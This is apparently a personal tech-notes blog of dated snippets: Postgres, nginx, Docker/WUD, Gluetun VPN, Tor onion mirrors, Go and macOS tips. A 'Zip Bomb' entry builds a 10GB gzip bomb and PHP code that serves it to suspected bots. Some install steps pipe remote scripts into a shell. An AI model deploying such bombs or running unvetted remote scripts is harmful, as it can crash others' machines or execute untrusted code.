Links on Ricky

Tools

Sun, 15 Mar 2026 17:52:24 +0800

tirith: Tirith guards the gate and intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.
subtrace: Inspect HTTP requests in any server with just a single command.
prek: ⚡ Better pre-commit, re-engineered in Rust
sandbox-exec: macOS’s Little-Known Command-Line Sandboxing Tool
babyshark: Flows-first PCAP TUI (case files, gorgeous UX).
llmfit: A terminal tool that right-sizes LLM models to your system’s RAM, CPU, and GPU. Detects your hardware, scores each model across quality, speed, fit, and context dimensions, and tells you which ones will actually run well on your machine.

sandbox-exec(Deprecated)

sandbox-exec -f profile.sb command_to_run

Articles

Fri, 13 Mar 2026 18:30:42 +0800

It’s 2026, Just Use Postgres

The “Use the Right Tool” Trap

You’ve heard the advice: “Use the right tool for the right job.”

Sounds wise. So you end up with:

Elasticsearch for search
Pinecone for vectors
Redis for caching
MongoDB for documents
Kafka for queues
InfluxDB for time-series
PostgreSQL for… the stuff that’s left

Here’s what most people don’t realize: Postgres extensions use the same or better algorithms as specialized databases (in many cases).

Selectively Disabling HTTP/1.0 and HTTP/1.1

Tue, 03 Feb 2026 09:41:12 +0800

Selectively Disabling HTTP/1.0 and HTTP/1.1

http {

 ...

 # Check for text-based browsers
 map $http_user_agent $is_text_browser {
 default 0;

 # Text-Based Browsers (not exhaustive)
 "~*^w3m" 1;
 "~*^Links" 1;
 "~*^ELinks" 1;
 "~*^lynx" 1;

 # Bots (not exhaustive)
 "~*Googlebot" 1;
 "~*bingbot" 1;
 "~*Yahoo! Slurp" 1;
 "~*DuckDuckBot" 1;
 "~*YandexBot" 1;
 "~*Kagibot" 1;
 }

 # Check if request is HTTP/1.X
 map $server_protocol $is_http1 {
 default 0;
 "HTTP/1.0" 1;
 "HTTP/1.1" 1;
 }

 # If Request is not text-based browser,
 # and is HTTP/1.X, set the http1_and_unknown variable
 # to 1, which is equivalent to "true"
 map "$is_http1:$is_text_browser" $http1_and_unknown {
 default 0;
 "1:0" 1;
 }

 ...

}

Go Tool Trace

Tue, 27 Jan 2026 09:54:42 +0800

trace 是「事件時間軸」，不是「取樣統計」

go tool trace：用來看 runtime trace（執行追蹤），本質是「時間序列事件」：
- goroutine 的建立 / runnable / running / waiting / syscall
- scheduler（G/M/P）相關事件、排程延遲
- blocking（net / sync / syscall）時間分佈
- GC 事件、STW、heap 變化（在 trace viewer 會看到）
用 pprof 是找「熱點」：誰吃 CPU / 誰 alloc 多
用 trace 是找「延遲原因」：為什麼卡（排程？鎖？網路？syscall？GC？）

直覺判斷：

I Replaced Redis with PostgreSQL (And It's Faster)

Mon, 19 Jan 2026 15:45:23 +0800

I Replaced Redis with PostgreSQL (And It’s Faster)

在更改之前，Redis 主要處理三件事：

快取（佔使用量的 70%）
發布/訂閱（佔使用量的 20%）
後台作業佇列（使用率 10%）

痛點:

需要備份兩個資料庫
Redis 使用記憶體（規模化時成本很高）
Redis 持久化機制…很複雜。
Postgres 和 Redis 之間的網路跳躍

PostgreSQL 功能

1: 使用未記錄表進行快取

Redis

await redis.set("session:abc123", JSON.stringify(sessionData), "EX", 3600);

PostgreSQL

CREATE UNLOGGED TABLE cache (
 key TEXT PRIMARY KEY,
 value JSONB NOT NULL,
 expires_at TIMESTAMPTZ NOT NULL
);

CREATE INDEX idx_cache_expires ON cache(expires_at);

Insert

INSERT INTO cache (key, value, expires_at)
VALUES ($1, $2, NOW() + INTERVAL '1 hour')
ON CONFLICT (key) DO UPDATE
 SET value = EXCLUDED.value,
 expires_at = EXCLUDED.expires_at;

Read

SELECT value FROM cache
WHERE key = $1 AND expires_at > NOW();

Cleanup (run periodically)

臺灣台語輸入法 App 上架，即日起行動裝置也能輸入臺灣台語

Thu, 15 Jan 2026 21:10:20 +0800

「臺灣台語輸入法」除了支援拼音輸入，也提供語音輸入功能，讓使用者能透過語音轉換成文字。

WebAssembly 發生了什麼事

Sun, 11 Jan 2026 15:22:11 +0800

用 WUD 取代 Watchtower：打造可控的 Docker 自動更新方案

Sun, 11 Jan 2026 15:22:11 +0800

用 WUD 取代 Watchtower：打造可控的 Docker 自動更新方案

WUD（What’s Up Docker）

services:
 wud:
 image: getwud/wud:latest
 container_name: wud
 restart: unless-stopped
 ports:
 - "3000:3000"
 volumes:
 - /var/run/docker.sock:/var/run/docker.sock
 - ./store:/store
 environment:
 - TZ=Asia/Shanghai

 # 本机 Docker watcher
 - WUD_WATCHER_LOCAL_SOCKET=/var/run/docker.sock

 # 关键：默认不监控任何容器
 - WUD_WATCHER_LOCAL_WATCHBYDEFAULT=false

 # 每 12 小时扫描一次
 - WUD_WATCHER_LOCAL_CRON=0 */12 * * *

 # 自动更新 + 更新后清理旧镜像
 - WUD_TRIGGER_DOCKER_AUTO_PRUNE=true # 效果等同于 `watchtower --cleanup`

只監控（不自動更新）

labels:
 - "wud.watch=true"

會出現在 WUD UI
會提示有更新
不會自動重啟

監控 + 自動更新（等同 Watchtower）

labels:
 - "wud.watch=true"
 - "wud.trigger.include=docker.auto"

終端機如何運作

Fri, 09 Jan 2026 16:11:33 +0800

終端機如何運作

每位程式設計師都該知道的 Python 數字

Sun, 04 Jan 2026 07:06:28 +0800

每位程式設計師都該知道的 Python 數字

為什麼它正在執行？

Tue, 30 Dec 2025 11:33:23 +0800

為什麼它正在執行？

用公開 URL 將本機 Web 伺服器暴露到網際網路。

Sat, 27 Dec 2025 15:24:41 +0800

用公開 URL 將本機 Web 伺服器暴露到網際網路。

Rainman 工程體系八問：面試時如何識別卓越工程文化

Mon, 22 Dec 2025 08:40:00 +0800

Rainman 工程體系八問：面試時如何識別卓越工程文化

CI/CD 工具：用的是鼓勵協作的 GitLab/GitHub，還是層層設卡的 Gerrit/Jenkins？
審批流程：一個合併請求（MR）要幾層老闆簽字才能通過？
環境隔離：有獨立的 Dev/Test/Prod 環境嗎？能否一鍵切換與部署？
部署鏈路：從程式碼寫完到使用者可見，需要幾步？是自動化還是手動化？
監控體系：告警能直接指出問題根因，還是全靠工程師半夜人肉翻日誌？
配置管理：是支援灰度發布的集中化管理，還是散落在程式碼各處靠人工修改？
測試覆蓋：有可靠的自動化測試「免疫系統」，還是把 bug 當 feature，讓線上使用者幫你測？
回滾機制：線上服務「炸了」，是 5 分鐘內能從容回滾，還是需要全組通宵「陪葬」？

快速且強大的日誌檢視與處理器，能把 JSON logs 或 logfmt logs 轉成清楚易讀的格式。

Sun, 14 Dec 2025 21:06:20 +0800

快速且強大的日誌檢視與處理器，能把 JSON logs 或 logfmt logs 轉成清楚易讀的格式。

把你的程式碼庫轉成單一的 LLM 提示詞。

Thu, 11 Dec 2025 13:16:46 +0800

把你的程式碼庫轉成單一的 LLM 提示詞。

如何在Surface Go 2安裝Fedora Linux，提昇低階平板效能

Thu, 11 Dec 2025 10:18:47 +0800

如何在 Surface Go 2 安裝 Fedora Linux，提昇低階平板效能

Surface Go 2 (Intel Pentium 4425Y，4G/64G) Wifi 版

關於 Surface Go 2 的硬體支援程度，參閱 Github 的這個表格：Supported Devices and Features

製作 Linux 開機碟

到 Fedora KDE 官網下載 ISO
然後用 Ventoy 製作開機碟。
因為 Surface Go 2 的連接埠只有 Type-C，你可能要準備擴充基座。它不能夠從 SD 卡開機。

安裝 Linux

將 Surface Go 2 關機。
長按開機鍵與音量上鍵，進入 UEFI。這個界面是可以觸控的，不用接上鍵盤，但之後安裝 Linux 可能還是需要使用實體鍵盤操作。
雖然 Fedora 支援 Secure Boot，還是建議關閉 Secure Boot，免得安裝驅動需要手動簽名。
將開機順序設定為隨身碟
開機，依照畫面指示安裝。選擇清除整個磁碟，安裝 Fedora。
關於中文輸入法，請安裝 Fcitx5
- sudo dnf install fcitx5 fcitx5-chewing fcitx5-gtk3 fcitx5-gtk4 fcitx5-qt fcitx5-qt6 fcitx5-configtool
小技巧：Fedora 預設啟用 zRAM，如果 Surface Go 的 RAM 太小，編輯 /etc/systemd/zram-generator.conf 提高 SWAP 數值，增加可用的 RAM，單位為 MB。
- [zram0]
- zram-size = 8192

加裝 linux-surface 核心

依照 Github 指示安裝。Fedora 的作法是新增 linux-surface 團隊經營的套件庫到系統
- sudo dnf config-manager addrepo --from-repofile=https://pkg.surfacelinux.com/fedora/linux-surface.repo
安裝 linux-surface 核心，重開機
- sudo dnf install --allowerasing kernel-surface iptsd libwacom-surface
uname -a 確認目前的核心是否切換成功，應該會顯示 linux-surface
由於 Fedora 系統核心更新頻率比較高，新版核心可能會覆蓋 linux-surface 的核心。故安裝 linux-surface 套件之後會自動啟用 linux-surface-default-watchdog.path 服務，確保開機啟動的都是 linux-surface 核心。

KDE 桌面的虛擬鍵盤使用方式

在系統設定 → 鍵盤 → 虛擬鍵盤啟用。需要注意的是這個鍵盤無法跟 Fcitx5 一起使用。

VsCode 整合 DevSpace 進行 debug !

Wed, 10 Dec 2025 15:16:12 +0800

安裝必要工具 📦

# 確認 Go 版本
go version

# 安裝 Delve 除錯器
go install github.com/go-delve/delve/cmd/dlv@latest

# 確認 DevSpace 版本
devspace version

# 安裝 VSCode Go 擴充功能
code --install-extension golang.go
code --install-extension devspace.devspace

專案結構設計 📁

.
├── cmd
│ └── main.go
├── devspace.yaml
├── Dockerfile.dev
├── Dockerfile.prod
├── go.mod
├── go.sum
├── internal
│ ├── handler.go
│ ├── model.go
│ └── service.go
├── k8s
│ └── dev
│ ├── deployment.yaml
│ └── service.yaml
├── main
└── start-dev.sh

準備 Go 應用程式 🚀

首先，讓我們建立一個簡單但實用的 Go 應用程式，包含幾個 API 端點方便我們測試 Break Points

使用 Fail2Ban + nftables 強化伺服器

Mon, 08 Dec 2025 16:45:51 +0800

使用 Fail2Ban + nftables 強化伺服器

parqeye

Tue, 18 Nov 2025 20:49:44 +0800

parqeye

安裝方式

cargo install parqeye
brew install kaushiksrini/parqeye/parqeye

Mosdns-X

Sun, 09 Nov 2025 20:32:00 +0800

安裝

bash <(curl -sL https://raw.githubusercontent.com/lidebyte/bashshell/refs/heads/main/mosdns-x-manager.sh)

設定

sudo tee /etc/mosdns-x/config.yaml > /dev/null <<'EOF'
# mosdns-x 并发查询（无分流）配置

log:
 level: info
 file: /var/log/mosdns-x/mosdns-x.log

plugins:
 # 缓存插件
 - tag: cache
 type: cache
 args:
 size: 1024
 lazy_cache_ttl: 1800

 # 并发上游：取最先返回的可用答案
 - tag: forward_all
 type: fast_forward
 args:
 upstream:
 # 阿里
 - addr: "udp://223.5.5.5"
 - addr: "tls://dns.alidns.com"

 # DNSPod / doh.pub
 - addr: "udp://119.29.29.29"
 - addr: "tls://dot.pub"

 # Cloudflare
 - addr: "udp://1.1.1.1"
 - addr: "tls://cloudflare-dns.com"

 # Google
 - addr: "udp://8.8.8.8"
 - addr: "tls://dns.google"

 # 主流水线：小缓存 → 并发优选
 - tag: main
 type: sequence
 args:
 exec:
 - cache
 - forward_all

# 监听（双栈 UDP/TCP 53）
servers:
 - exec: main
 listeners:
 - addr: :53
 protocol: udp
 - addr: :53
 protocol: tcp
EOF

systemd

sudo tee /etc/systemd/system/mosdns.service > /dev/null <<'EOF'
[Unit]
Description=Mosdns-X DNS Accelerator
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/mosdns-x start --as-service -d /usr/local/bin -c /etc/mosdns-x/config.yaml
Restart=always
RestartSec=5
StandardOutput=journal
StandardError=journal
SyslogIdentifier=mosdns

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now mosdns

# 备份系统 DNS
sudo cp -n /etc/resolv.conf /etc/resolv.conf.mosdns-backup

# 改为使用本地 Mosdns-X
echo -e "nameserver 127.0.0.1\noptions edns0" | sudo tee /etc/resolv.conf

# 若 53 端口被 systemd-resolved 占用，可禁用它
sudo systemctl disable --now systemd-resolved 2>/dev/null || true

# 如果想顺便加锁（防止被 DHCP 修改），加上 chattr 一起执行：
echo -e "nameserver 127.0.0.1\n" > /etc/resolv.conf && chattr +i /etc/resolv.conf

# 查看进程状态
sudo systemctl status mosdns --no-pager

# 测试解析速度（第二次命中缓存更快）
dig +stats www.google.com
dig +stats www.baidu.com

# 查看实时日志
tail -f /var/log/mosdns-x/mosdns-x.log

go-synctest

Fri, 07 Nov 2025 14:06:00 +0800

go-synctest

func TestAfterFunc(t *testing.T) {
 synctest.Test(t, func(*testing.T) {
 ctx, cancel := context.WithCancel(context.Background())

 called := false
 context.AfterFunc(ctx, func() { called = true })

 synctest.Wait() // 等到所有 goroutine 都卡住
 if called {
 t.Fatal("AfterFunc 在 cancel 前就被呼叫")
 }

 cancel()

 synctest.Wait() // 再等一次
 if !called {
 t.Fatal("AfterFunc 沒有在 cancel 後被呼叫")
 }
 })
}

onion-mirror

Thu, 30 Oct 2025 17:49:44 +0800

onion-mirror

安裝 Tor

sudo apt update
sudo apt install tor

設定 Tor

# Disable SOCKS proxy since we aren't making outbound connections
# through Tor
SocksPort 0
# Make sure Tor runs as a daemon (i.e. in the background)
RunAsDaemon 1
# Setup the hidden service on port 80, this is where we tell Tor to
# create a .onion service for our web server
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80
# Disable inbound connections, since we aren't running a relay or
# exit node
ORPort 0
# Disable directory services, since we won't be mirroring directory
# information to other Tor nodes
DirPort 0

sudo systemctl restart tor

取得你的 .onion 位址

sudo cat /var/lib/tor/hidden_service/hostname

設定 Caddy

http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion:80 {
# Set up a reverse proxy, or serve static files, etc.
}

公告你的 .onion 位址

header {
Onion-Location http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion{uri}
}

NGINX 原生 ACME 支持：从根本上重塑 TLS 自动化部署

Mon, 20 Oct 2025 16:31:00 +0800

NGINX 原生 ACME 支持：从根本上重塑 TLS 自动化部署

`ngx_http_acme_module`

NGINX 1.25.1

pre-install

# 在 Debian/Ubuntu 系统上安装基础编译工具和 NGINX 依赖
sudo apt update
sudo apt install build-essential libpcre3-dev zlib1g-dev libssl-dev pkg-config libclang-dev git -y

# 安装 Rust 工具链 (cargo 和 rustc)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

mkdir -pv /app/nginx/{logs,conf,cache, acme} /app/nginx-build
cd /app/nginx-build

# 克隆 ACME 模块的源码
git clone https://github.com/nginx/nginx-acme.git /app/nginx-build/nginx-acme
# 或者
# git clone git@github.com:nginx/nginx-acme.git /app/nginx-build/nginx-acme

# 下载 NGINX 源码（请替换为您需要的版本）
wget https://nginx.org/download/nginx-1.28.0.tar.gz
tar -zxf nginx-1.28.0.tar.gz

compile

cd nginx-1.28.0
./configure \
 --prefix=/app/nginx \
 --error-log-path=/app/nginx/error.log \
 --http-log-path=/app/nginx/access.log \
 --pid-path=/app/nginx/nginx.pid \
 --lock-path=/app/nginx/nginx.lock \
 --http-client-body-temp-path=/app/nginx/cache/client_temp \
 --http-proxy-temp-path=/app/nginx/cache/proxy_temp \
 --http-fastcgi-temp-path=/app/nginx/cache/fastcgi_temp \
 --http-uwsgi-temp-path=/app/nginx/cache/uwsgi_temp \
 --http-scgi-temp-path=/app/nginx/cache/scgi_temp \
 --user=nginx \
 --group=nginx \
 --with-compat \
 --with-file-aio \
 --with-threads \
 --with-http_addition_module \
 --with-http_auth_request_module \
 --with-http_dav_module \
 --with-http_flv_module \
 --with-http_gunzip_module \
 --with-http_gzip_static_module \
 --with-http_mp4_module \
 --with-http_random_index_module \
 --with-http_realip_module \
 --with-http_secure_link_module \
 --with-http_slice_module \
 --with-http_ssl_module \
 --with-http_stub_status_module \
 --with-http_sub_module \
 --with-http_v2_module \
 --with-http_v3_module \
 --with-mail \
 --with-mail_ssl_module \
 --with-stream \
 --with-stream_realip_module \
 --with-stream_ssl_module \
 --with-stream_ssl_preread_module \
 --with-cc-opt='-g -O2 -ffile-prefix-map=/home/builder/debuild/nginx-1.28.0/debian/debuild-base/nginx-1.28.0=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' \
 --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie' \
 --add-dynamic-module=/app/nginx-build/nginx-acme

make && \
 make modules && \
 make install

# 运行配置脚本，这里的关键是 --add-dynamic-module
# 注意：您需要在这里包含您当前 NGINX 已有的所有编译参数，可以通过 nginx -V 查看
# 编译模块，注意是 make modules 而不是 make install

config

# /app/nginx/conf/nginx.conf
user nginx;
error_log error.log debug;
pid nginx.pid;

load_module modules/ngx_http_acme_module.so;

events {
 worker_connections 1024;
 multi_accept on;
}

http {
 include mime.types;
 default_type application/octet-stream;
 log_format main '$remote_addr - $remote_user [$time_local] "$host" "$request" '
 '$status $body_bytes_sent "$http_referer" '
 '"$http_user_agent" "$http_x_forwarded_for"';

 access_log access.log main;
 sendfile on;
 tcp_nopush on;
 charset utf-8;
 keepalive_timeout 65;
 gzip on;

 resolver 8.8.8.8 1.1.1.1;
 # 定义一个名为 letsencrypt 的 ACME 颁发机构实例
 acme_issuer letsencrypt {
 # 指定 ACME 服务提供商的目录 URL，这里是 Let's Encrypt 的生产环境
 uri https://acme-v02.api.letsencrypt.org/directory;
 # 提供一个联系邮箱，用于接收 CA 的重要通知（如证书即将过期）
 contact mailto:security-alerts@aidig.co;
 # 指定状态文件的存储路径，用于保存 ACME 账户密钥，非常重要
 state_path acme/letsencrypt;
 # 同意服务条款，对于 Let's Encrypt 等 CA 这是必需的步骤
 accept_terms_of_service;
 }
 # 可选指令 acme_shared_zone，用于存储所有配置的证书颁发者的证书、私钥和挑战数据。该区域默认大小为 256K，可根据需要增加
 acme_shared_zone zone=acme_shared:1M;

 server {
 listen 443 ssl;
 server_name ssl.aidig.co;

 # 步骤一：声明此 server 块启用 ACME，并指定使用上面定义的 letsencrypt 颁发机构
 acme_certificate letsencrypt;
 # 步骤二：使用动态变量加载由 ACME 模块在内存中管理的证书和私钥
 ssl_certificate $acme_certificate;
 ssl_certificate_key $acme_certificate_key;
 ssl_certificate_cache max=2; # required ngx 1.27.4+

 location / {
 default_type text/plain;
 return 200 'OK';
 }
 }

 server {
 listen 80 default_server;
 server_name _;

 # ACME 模块会自动处理 /.well-known/acme-challenge/ 的请求，此 location 用于处理所有其他请求
 location / {
 return 301 https://$host$request_uri;
 }
 }
}

降低家用 Web 服務被通報的機率

Thu, 02 Oct 2025 09:54:00 +0800

降低家用 Web 服務被通報的機率
透過明文協議嘗試請求 HTTPS 服務時，Nginx 會回傳特殊的 497 狀態碼。若發生此錯誤，我們希望 Nginx 直接關閉連線，不回傳任何回應。這需要另一個非標準狀態碼 444。綜合兩種狀態碼，我們需要在 server 中加入如下設定：

error_page 497 @close;

location @close {
 return 444;
}

使用 error_page 指令為 497 狀態碼設定虛擬路徑 @close，Nginx 在處理 @close 時發現要回傳 444，於是直接關閉連線。

此時你再用 curl 造訪對應埠口會看到如下錯誤：

curl http://example.zz.ac:5678 curl: (52) Empty reply from server

server {
 listen 5678 ssl;
 listen [::]:5678 ssl;

 server_name example.zz.ac;

 ssl_certificate ...;
 ssl_certificate_key ..;

 error_page 497 @close;

 location @close {
 return 444;
 }
 ...
}
server {
 listen 5678 ssl default_server;;
 listen [::]:5678 ssl default_server;;

 server_name _;

 ssl_certificate ...;
 ssl_certificate_key ..;

 return 444;
}

Privacy Badger：EFF 推出的免費瀏覽器擴充套件，用來阻止網路監控追蹤

Mon, 29 Sep 2025 16:41:00 +0800

Privacy Badger：EFF 推出的免費瀏覽器擴充套件，用來阻止網路監控追蹤

用 Golang 從零打造容器（Liz Rice）

Wed, 10 Sep 2025 09:50:00 +0800

隨著我們擴充這個小程式的功能，會依序探索以下主題，讓我們建立一個非正式環境的容器模擬。

UTS Namespace
Chroot
PID Namespace
Mount Namespace
Control Group
Rootless Container

淺談 Go Iterator

Sat, 06 Sep 2025 21:30:00 +0800

淺談 Go Iterator

type Seq[V any] func(yield func(V) bool)
type Seq2[K, V any] func(yield func(K, V) bool)

Docker 容器無法存取外網？nftables 下的 NAT 配置指南

Wed, 03 Sep 2025 09:03:00 +0800

Docker 容器無法存取外網？nftables 下的 NAT 配置指南

獨立伺服器 CPU 頻率最大化配置指南

Tue, 02 Sep 2025 08:24:00 +0800

獨立伺服器 CPU 頻率最大化配置指南

看看 CPU 現在用哪種模式

前提條件系統：Linux（Debian、Ubuntu、Proxmox 等都行）

權限：root

CPU：支援動態調頻（Intel Xeon、AMD EPYC / Ryzen 等）

governor

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

powersave：省電小綿羊（頻率鎖低，省電但沒力）
ondemand：按需加速（要用時才升頻，可能反應慢半拍）
performance：全程高能（我們要的就是它！💪）

確認核心到底用哪種驅動（Intel / AMD）

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver

暫時拉滿效能

for cpu in /sys/devices/system/cpu/cpu[0-9]*; do
 echo performance > $cpu/cpufreq/scaling_governor
done

重啟後也保持高能

方案 A：最穩妥推薦

apt install cpufrequtils -y

echo 'GOVERNOR="performance"' >/etc/default/cpufrequtils
systemctl enable cpufrequtils
systemctl start cpufrequtils

方案 B：systemd 自訂服務

# /etc/systemd/system/cpu-performance.service
[Unit]
Description=Set CPU governor to performance
After=multi-user.target

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'for cpu in /sys/devices/system/cpu/cpu[0-9]*; do echo performance > $cpu/cpufreq/scaling_governor; done'

[Install]
WantedBy=multi-user.target

systemctl daemon-reexec
systemctl daemon-reload
systemctl enable --now cpu-performance.service

6首國際最強公認催眠曲

Fri, 29 Aug 2025 15:58:00 +0800

6 首國際最強公認催眠曲

Marconi Union - Weightless
432Hz (深度治癒身心靈連接宇宙能量)
Clair de Lune
Deep sleep delta waves - Binaural beats sleep (30 分鐘版本)
Erik SATIE - Gymnopédie No. 1 (鋼琴慢速版)
Himalayan Healing - Tibetan Singing Bowls Meditation (15 分鐘版本)

透過LinuxServer.io打包的Docker映像檔，將桌面程式轉成網頁版，透過瀏覽器即可使用

Fri, 01 Aug 2025 15:52:00 +0800

Gluetun：讓Docker容器走VPN連線，沒網路就斷線，使用教學

Fri, 01 Aug 2025 15:51:00 +0800

Gluetun：讓 Docker 容器走 VPN 連線，沒網路就斷線，使用教學

Gluetun

OpenVPN

services:
 gluetun:
 image: qmcgaw/gluetun
 container_name: gluetun
 restart: unless-stopped
 cap_add:
 - NET_ADMIN
 devices:
 - /dev/net/tun:/dev/net/tun
 ports:
 - 8888:8888/tcp # HTTP proxy
 - 8388:8388/tcp # Shadowsocks
 - 8388:8388/udp # Shadowsocks
 volumes:
 - /home/user/gluetun:/gluetun
 environment: # 按照VPN供應商的OpenVPN設定檔填寫
 - VPN_SERVICE_PROVIDER=protonvpn
 - VPN_TYPE=openvpn
 - OPENVPN_USER= # OpenVPN帳號
 - OPENVPN_PASSWORD= # OpenVPN密碼
 - SERVER_COUNTRIES=United Kingdom # 指定伺服器所在國家，以逗號分隔
 networks: # (選擇性) 固定Gluetun容器的IP
 network:
 ipv4_address: 172.27.0.5

networks: # (選擇性) 固定Gluetun容器的IP
 network:
 driver: bridge
 ipam:
 config:
 - subnet: 172.27.0.0/16
 gateway: 172.27.0.5

WireGuard

services:
 gluetun:
 image: qmcgaw/gluetun
 container_name: gluetun
 restart: unless-stopped
 cap_add:
 - NET_ADMIN
 devices:
 - /dev/net/tun:/dev/net/tun
 ports:
 - 8888:8888/tcp # HTTP proxy
 - 8388:8388/tcp # Shadowsocks
 - 8388:8388/udp # Shadowsocks
 volumes:
 - /home/user/gluetun:/gluetun
 environment:
 - VPN_SERVICE_PROVIDER=protonvpn # 按照VPN供應商的WireGuard設定檔填寫
 - VPN_TYPE=wireguard
 - WIREGUARD_PRESHARED_KEY= # 預共享密鑰
 - WIREGUARD_PRIVATE_KEY= # 私鑰
 - WIREGUARD_ADDRESSES= # 填IPV4與IPV6位址，以逗號分隔
 - SERVER_COUNTRIES=United Kingdom # 指定伺服器所在國家，以逗號分隔
 networks: # (選擇性) 固定Gluetun容器的IP
 network:
 ipv4_address: 172.27.0.5

networks: # (選擇性) 固定Gluetun容器的IP
 network:
 driver: bridge
 ipam:
 config:
 - subnet: 172.27.0.0/16
 gateway: 172.27.0.5

讓容器走 Gluetun 的 VPN 連線

如果容器服務跟 Gluetun 寫在同一個 docker-compose：加入網路模式 network_mode: “service:gluetun”
如果該容器跟 Gluetun 不是寫在同一個 docker-compose：加入 network_mode: “container:gluetun”
開啟 Gluetun 的 docker-compose 檔案，把 service 用到的通訊埠(ex:8080)加回來
依序啟動 Gluetun 和走 Gluetun 的 VPN 連線的服務
容器公共 IP 應當跟您選擇的 VPN 伺服器一致

Go实战指南：使用 go-redis 执行 Lua 脚本

Tue, 22 Jul 2025 16:56:00 +0800

Go 实战指南：使用 go-redis 执行 Lua 脚本

Redis command Eval
Redis package redis.NewScript, script.Run

TIL：Bash 腳本的 timeout

Thu, 12 Jun 2025 09:04:00 +0800

TIL：Bash 腳本的 timeout
timeout 1m ./until.sh
包一層

timeout 1m bash -c "until curl --silent --fail-with-body 10.0.0.1:8080/health; do
 sleep 1
done"

TaigiTube 台語水管

Thu, 08 May 2025 08:43:00 +0800

TaigiTube 台語水管

我用 Zip Bomb 來保護我的伺服器

Sat, 03 May 2025 11:24:00 +0800

我用 Zip Bomb 來保護我的伺服器
發生的情況是：對方收到檔案後，讀取標頭得知這是壓縮檔，因此嘗試解壓那個 1MB 的檔案來找他們要的內容。但檔案會不斷膨脹，直到耗盡記憶體、伺服器崩潰。1MB 的檔案會解壓成 1GB，這已足以讓多數機器人失敗。不過對於那些死纏爛打的腳本，我就給它 10MB 的檔案，解壓後會變成 10GB，立刻把腳本搞掛。
dd if=/dev/zero bs=1G count=10 | gzip -c > 10GB.gz
- dd：用於複製或轉換資料的指令。
- if：輸入檔案，這裡指定 /dev/zero，它會產生無限的零位元組串流。
- bs：區塊大小，設為 1GB（1G），代表 dd 會以 1GB 為單位讀寫。
- count=10：代表處理 10 個區塊、每個 1GB，因此會產生 10GB 的零資料。
middleware

if (ipIsBlackListed() || isMalicious()) {
header("Content-Encoding: gzip");
header("Content-Length: ". filesize(ZIP_BOMB_FILE_10G)); // 10 MB
readfile(ZIP_BOMB_FILE_10G);
exit;
}

人人都需要一個 HTTP proxy 來 debug

Fri, 25 Apr 2025 16:58:00 +0800

人人都需要一個 HTTP proxy 來 debug

為什麼大寫字母的 QR Code 會比小寫字母的更小？

Wed, 23 Apr 2025 15:45:00 +0800

為什麼大寫字母的 QR Code 會比小寫字母的更小？
如果你想讓包含 URL 的二維碼擁有盡可能小的實體尺寸，請確保文字全部大寫。

Marp教學：Markdown搭配VS Code做簡報，快速輸出為PPTX或PDF，提昇做簡報效率

Tue, 08 Apr 2025 09:12:00 +0800

Marp 教學：Markdown 搭配 VS Code 做簡報，快速輸出為 PPTX 或 PDF，提昇做簡報效率

Install ‘Marp for VS Code’
在 Markdown 最前面的 FrontMatter，插入以下屬性，啟用 Marp，並開啟顯示頁數功能

---
marp:true
paginate: true
---

Markdown 文字都是直排排列的，需要換行請加上\。
輸入三條橫線---分隔投影片。
插入註解請用語法。

Go Protobuf：新的 Opaque API

Mon, 07 Apr 2025 13:53:00 +0800

[译]Go Protobuf：新的 Opaque API

protoc --proto_path=. \
 --go_out=./ \
+ --go_opt=default_api_level=API_OPAQUE \

macOS 使用技巧與小訣竅

Fri, 07 Mar 2025 16:05:00 +0800

macOS 使用技巧與小訣竅

一般

原生 UI 習慣

按 ⇧⌘/ 可搜尋目前應用程式的所有選單項目，接著用上下箭頭瀏覽結果，按 Return 執行該選單動作。
按 ⌃F2 將鍵盤焦點移到應用程式的選單列，輸入選單標題的前幾個字母即可跳到該選單。
展開樹狀清單時按住 Option 可遞迴展開所有子項（最容易測試的地方是 Finder 的列表檢視）。
在對話框/工作表上，按 Command 加按鈕的首字母可直接按下該按鈕。⌘. 等同於 Escape。
按住 Control 與 Option 點擊視窗，可切換焦點但不把視窗置頂。
拖曳工具列圖示時按住 Command 可改變位置。
預設在捲軸上點擊會部分捲動到該位置；按住 Option 點擊捲軸可直接跳到點擊處。
拖曳捲軸滑塊時按住 Option 可慢速捲動。
在可捲動區域，用上下鍵小幅捲動；按住 Option 可大幅捲動，按住 Command 則捲到開頭或結尾。
按 Page Up/Page Down 時按住 Option，捲動同時移動游標。
在 Tab 鍵被視為輸入的欄位中，按 Control-Tab 和 Control-Shift-Tab 可移動到前一或下一個控制項。
游標停在單字上時按 ⌃⌘D 可顯示行內字典解釋。
按 ⌃F6 可把焦點移到浮動視窗。
快速尋找文字：選取文字後按 ⌘E，再按 ⌘G。
按 ⌃⌫ 可只刪除上一個字元的重音符號（例如 é 變成 e）。
在字體視窗輸入 *X 可縮放目前字體大小，例如 *1.5。
輸入文字時，按 ⌥⇧K（美式鍵盤）可插入蘋果標誌。
拖曳子母畫面（PiP）視窗時按住 Command，可自由移動而不會吸附到螢幕角落。

截圖

按下 ⇧⌘4 並拖曳選取截圖區域時，按住 Option 可從中心縮放，按住 Shift 可只調整單一軸向。畫好區域後，按住空白鍵並拖曳可移動選取區域。
按下 ⇧⌘4 後截圖時按住 Control，可複製到剪貼簿而非儲存檔案。
按下 ⇧⌘4 後按空白鍵可選擇視窗截圖，截圖時按住 Option 可移除視窗陰影。
在浮動截圖預覽上按右鍵可使用更多動作。

開啟/儲存對話框

將 Finder 中的檔案或資料夾拖到開啟/儲存對話框，可直接跳到該位置。
在儲存對話框按 ⌘= 可切換精簡與展開版面。
在儲存對話框，按 ⌘⌫ 啟用 Delete，⌘D 啟用 Don’t Save，⌘.（或 Esc）啟用 Cancel。
